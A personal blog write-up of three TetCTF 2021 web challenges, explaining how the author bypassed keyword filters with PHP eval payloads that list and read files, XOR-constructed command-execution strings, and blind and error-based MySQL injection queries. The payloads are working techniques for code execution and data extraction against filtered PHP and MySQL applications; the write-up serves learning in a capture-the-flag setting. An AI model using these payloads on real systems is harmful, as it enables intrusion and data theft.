TetCTF 2021

Ditto
7 min readJan 3, 2021

--

My first CTF of the year! I will be sharing on 3 web challenges. The theme for these web challenges is to bypass keyword filters. I find it quite relevant as these are things that I will do when writing my own application. (I am a noob software engineer LOL)

My github repo which stores all the challenges code, as well as the scripts I used:

1) HPNY

This challenge was the toughest to me.

Main Source Code
How it works

The characters that are allowed are ‘a-z’, ‘(’, ‘)’, ‘_’ and ‘.’ . The vulnerability is easy to spot, there is an eval statement that takes in the user input. Standard php web shell things. This is similar for the other challenges, the vulnerabilities are easy to spot, but bypassing the keywords is the challenge!!!

There are many surprising payloads that work, for example “system(ls)” without the usual quotes. Usually its something like “system(‘ls’)”. This was the easy part, listing the directories. Next, to read the flag, i was stuck until the next day… Tried to make a payload of “system(‘cat *’)”, but not able to. Finally with much help and hints, i went to try the php native functions.

Payload to dump directory:

var_dump(scandir(getcwd()))

This payload dumps the directory in an array. The flag file is at the second last index of the array. In order to index an array without numbering, we can use next() or prev(). However, next and prev can only skip one element.

So how do we index the third element? Brain jam here again, so someone hinted to reverse the array… Yeah bashing myself for not thinking of this earlier.

Payload to index the flag file:

var_dump(next(array_reverse(scandir(getcwd()))))

And finally, just read the file with php native readfile.

Payload to read flag file:

readfile(next(array_reverse(scandir(getcwd()))))

FINALLY A FLAGGGGGGGGGGG!

Some cooler and much better payloads that I saw:

http://localhost/web1.php?test=ls&roll=system(pos(pos(get_defined_vars())))

http://localhost/web1.php?test=ls&roll=var_dump(pos(pos(get_defined_vars())))

How it works

(pos(pos(get_defined_vars) will take in the value from variable ‘test’, and by replacing var_dump with system, we will be able to execute the command in test! WAY COOLER!

2) Super Calc

Similarly, the challenge for Super Calc is to list the directory then read the flag.

Main source code (the echo statements are added by me for debugging)
How it works

When you supply “calc = 1–2”, the server will return the result of the math operations. In order to list the directory, we will need to supply “calc=`ls`"

The allowed characters are ‘0–9’, ‘ -’, ‘*’, ‘/’, ‘)’, ‘(‘, ‘~’, ‘^’, ‘|’ and ‘&’. So how can we create letters!? While googling, i found the below link which describes how to make characters without letters! Very helpful in this challenge.

We can do it by using the ‘^’ operation, which is a XOR. For example:

By XORing - with ^, the result gives the letter ‘s’!

WOW!!!

However, doing XOR only once will give limited characters! Thus, we have to do XOR multiple times! By doing that, we can get other unique characters like backticks (`) etc which will be useful for crafting the payload. Also, you can append characters by doing something like that (‘a’).(‘b’).

I have a script in my github repo that generates all the available characters, but you will have to modify slightly to test, whether to do one XOR or do two XORs. (might improve it in the future if i am not lazy)

Final payload for `ls`:

(‘0’^’.’^’~’).(‘2-’^’^^’).(‘0’^’.’^’~’)

Next to do `cat *`, i did something stupid…

I struggled to make the space. On URL a space is shown as ‘%20’, so I went to generate a payload that was `cat%20*`. Actually what I need was really 0x20 from the XORs result… and not %20.

There are many other and better ways you can do it but my final payload to make ` cat * `:

(‘0’^’.’^’~’).(‘1010’^’|~9(‘^’./|8').(‘*’).(‘0’^’.’^’~’)

3) MySQLimit

The challenge for MySQLimit is to do SQL injections without using the common keywords. I enjoy this the most as recently I have been learning about blind sql injection and this was timely in testing my knowledge of blind injection!

Main source code
How it works
Error message that shows obvious sql injection vulnerability

In order to bypass the keywords to build my blind sql injection statement, this is the full statement I used which I will be explaining:

baseURL = "http://localhost/web3.php?id=(select(ASCII(RIGHT(LEFT((select name from flag_here_hihi limit 1 offset row_number), char_offset),1))/decimal_char))"The bolded values are placeholders for doing the bruteforce.

Select name from flag_here_hihi limit 1 offset row_number:

This statement queries the name value from the flag_here_hihi table, limit 1 to only show one entry and offset to determine which entry to select.

Select(LEFT((select name from flag_here_hihi limit 1 offset row_number), char_offset)

Adding the LEFT and char_offset, this is to query how many characters of the result. For example, result from previous statement returns “nice_flag”. Adding the LEFT and with a char_offset of 1 will return “n”. Increasing char_offset to 2, will return “ni”.

select(RIGHT(LEFT((select name from flag_here_hihi limit 1 offset 0), 1),1));

Adding that bolded RIGHT and the ‘1’ at the back, will index the right most character allowing us to bruteforce continously.

select(ASCII(RIGHT(LEFT((select name from flag_here_hihi limit 1 offset 0), 1),1))/110);

Adding the ASCII keyword will change the character to a decimal value. The last “/110” will be used for bruteforcing the character. It will be incremented from character a-z, A-Z and all the special characters. Decimal 110 in this case refers to the character ’n’. When it is the right character, it will resolved to the value 1.

Adding everything up!

select name from flag_here_hihi where id = (select(ASCII(RIGHT(LEFT((select name from flag_here_hihi limit 1 offset 0), 1),1))/110))

The whole statement behind will resolve to either 1 or 0. Hence, we will get the result of ‘nice_flag’ when id = 1 (in the event of successful bruteforce), or we will get an empty result if its wrong.

With this we can start doing a bruteforce by changing the placeholders, but another problem we face is that we do not know what column to query from. I found this part pretty interesting. Sadly i didnt manage to do this part myself… There are 2 solutions that I read about. The 2 solutions both depend on the concept that since the error messages are printed out, it is possible to derive the column values from the error message.

First solution:

select * from (select * from flag_here_hihi as a join flag_here_hihi as b using(id) ) as c;

This statement will show an error message of “Duplicate column name ‘name’”. Continue to add that column in behind id and you will notice the next error message for column ‘phone’ appears.

Testing out on the web server:

Second solution:

(select pow(~(select id from (select * from flag_here_hihi limit 1) as a),9999))

For this solution, I didn’t manage to replicate it on my own server. My guess is that I am using mariadb while the actual server is using mysql. Not too sure about this, but you may try looking deeper into it.

With the payload above, it effectively makes the result out of range, thus displaying the error message. This paper below dives deeper into this issue, very useful:

https://dl.packetstormsecurity.net/papers/database/mysql-error-based-injection-using-exp.pdf

Local Server
Web Server

Learning Points:

  • Roll: Think simple, start with baby steps! One step at a time.
  • Calc: Take a step back and look at problem again.
  • Roll & Calc: Writing an exploit requires a few steps! Think of chaining them and don’t be fixated on just using something once.
  • MySQLimit: Error messages are USEFUL!
  • MySQLimit: Many methods of querying results (especially getting the columns!)
  • MySQLimit: No need to append statements behind (Eg:
Select * from table where id = 1 union select (1,2)I will always try to do it like above, but actually this is allowed:Select * from table where id = (Select 1)

--

--

No responses yet